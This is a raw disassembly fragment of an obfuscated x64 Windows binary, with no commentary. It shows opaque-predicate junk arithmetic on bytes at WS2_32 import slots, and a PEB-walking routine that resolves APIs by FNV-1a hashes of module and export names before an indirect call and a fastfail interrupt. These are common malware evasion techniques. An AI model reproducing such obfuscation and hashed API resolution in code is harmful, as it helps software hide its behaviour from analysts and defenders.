add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
jne 0x14010985d
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010985d
mov al, byte [reloc.WS2_32.dll_htons]
mov al, byte [reloc.WS2_32.dll_htonl]
mov al, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rsp + 0x68]
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d7
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140109996
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x140109a30
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140109a28
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x140109a2c
mov eax, dword [rsp + 0x78]
mov qword [rbp - 0x48], rax
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
mov r14, qword [rbp - 0x48]
imul eax, r14d
test eax, eax
je 0x14010b0d7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14015ac40]
jmp 0x14010ae7b
mov rdx, qword [0x140342ec8]
test rdx, rdx
jne 0x140109c17
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test edi, edi
je 0x140109b26
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x140109b19
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140109b0a
cmp edx, edi
jne 0x140109bf8
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140109bf8
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140109bf8
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r13d
jmp 0x140109b78
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r15
test cl, cl
jne 0x140109b6d
cmp edx, dword [rbp - 0x74]
je 0x140109b8e
test r11d, r11d
jne 0x140109b5a
jmp 0x140109bf8
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140109c10
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140109c10
mov edi, r13d
mov ecx, r13d
mov dword [rbp - 0x74], ecx
jmp 0x140109bcf
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140109bc1
add rdx, r15
mov al, byte [rdx]
test al, al
je 0x140109bf5
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x140109bde
mov dword [rbp - 0x74], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140109c0d
cmp qword [rax + 0x30], r12
jne 0x140109adb
mov rdx, r12
mov qword [0x140342ec8], rdx
mov ecx, 0x5c
call rdx
xor ecx, ecx
int 0x29
jmp 0x14010b0d7
mov eax, ebx
imul eax, r11d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d4
call fcn.1401379ec
movsx r10d, al
call fcn.1401379f8
movsx r11d, al
call fcn.1401379f0
movsx ebx, al
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, r11d
add edx, ebx
movsx eax, byte [reloc.WS2_32.dll_closesocket]
add eax, edx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140109d29
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140109d29
mov r9d, r12d
jmp 0x140109dc1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140109dbc
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140109dc1
mov r9d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
xor r12d, r12d
test eax, eax
je 0x14010a14f
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14016a5f8]
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140109ea3
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
jne 0x140109efc
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140109efc
mov al, byte [reloc.WS2_32.dll_htons]
mov al, byte [reloc.WS2_32.dll_htonl]
mov al, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rsp + 0x68]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d7
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010a034
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x14010a0ce
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010a0c6
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x14010a0ca
mov eax, dword [rsp + 0x78]
mov qword [rbp - 0x48], rax
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
mov r14, qword [rbp - 0x48]
imul eax, r14d
test eax, eax
je 0x14010b0d7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14016a600]
jmp 0x14010ae7b
mov rdx, qword [0x140342ec8]
test rdx, rdx
jne 0x140109c17
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test edi, edi
je 0x14010a1c4
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x14010a1b7
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010a1a8
cmp edx, edi
jne 0x14010a29e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010a29e
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010a29e
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r13d
jmp 0x14010a216
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r15
test cl, cl
jne 0x14010a20b
cmp edx, dword [rbp - 0x74]
je 0x14010a22c
test r11d, r11d
jne 0x14010a1f8
jmp 0x14010a29e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140109c10
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140109c10
mov edi, r13d
mov ecx, r13d
mov dword [rbp - 0x74], ecx
jmp 0x14010a275
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010a267
add rdx, r15
mov al, byte [rdx]
test al, al
je 0x14010a29b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x14010a284
mov dword [rbp - 0x74], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140109c0d
cmp qword [rax + 0x30], r12
jne 0x14010a179
jmp 0x140109c0d
mov ecx, r11d
imul ecx, r10d
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d4
call fcn.1401379ec
movsx r10d, al
call fcn.1401379f8
movsx r11d, al
call fcn.1401379f0
movsx ebx, al
movsx edx, byte [0x140341580]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx eax, byte [reloc.WS2_32.dll_closesocket]
add eax, edx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010a3c0
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14010a3c0
mov r9d, r12d
jmp 0x14010a458
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010a453
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x14010a458
mov r9d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
xor r12d, r12d
test eax, eax
je 0x14010a7df
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
addsd xmm1, xmm1
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010a536
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
jne 0x14010a58f
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010a58f
mov al, byte [reloc.WS2_32.dll_htons]
mov al, byte [reloc.WS2_32.dll_htonl]
mov al, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rsp + 0x68]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d7
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010a6c7
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x14010a761
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010a759
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x14010a75d
mov eax, dword [rsp + 0x78]
mov qword [rbp - 0x48], rax
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
mov r14, qword [rbp - 0x48]
imul eax, r14d
test eax, eax
je 0x14010b0d7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14016a5e0]
jmp 0x14010ae7b
mov rdx, qword [0x140342ec8]
test rdx, rdx
jne 0x140109c17
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test edi, edi
je 0x14010a854
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x14010a847
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010a838
cmp edx, edi
jne 0x14010a92e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010a92e
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010a92e
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r14]
add r8, r9
mov edx, r13d
jmp 0x14010a8a6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r15
test cl, cl
jne 0x14010a89b
cmp edx, dword [rbp - 0x74]
je 0x14010a8bc
test r11d, r11d
jne 0x14010a888
jmp 0x14010a92e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140109c10
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140109c10
mov edi, r13d
mov ecx, r13d
mov dword [rbp - 0x74], ecx
jmp 0x14010a905
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010a8f7
add rdx, r15
mov al, byte [rdx]
test al, al
je 0x14010a92b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x14010a914
mov dword [rbp - 0x74], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140109c0d
cmp qword [rax + 0x30], r12
jne 0x14010a809
jmp 0x140109c0d
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d7
call fcn.1401379ec
movsx r10d, al
call fcn.1401379f8
movsx r11d, al
call fcn.1401379f0
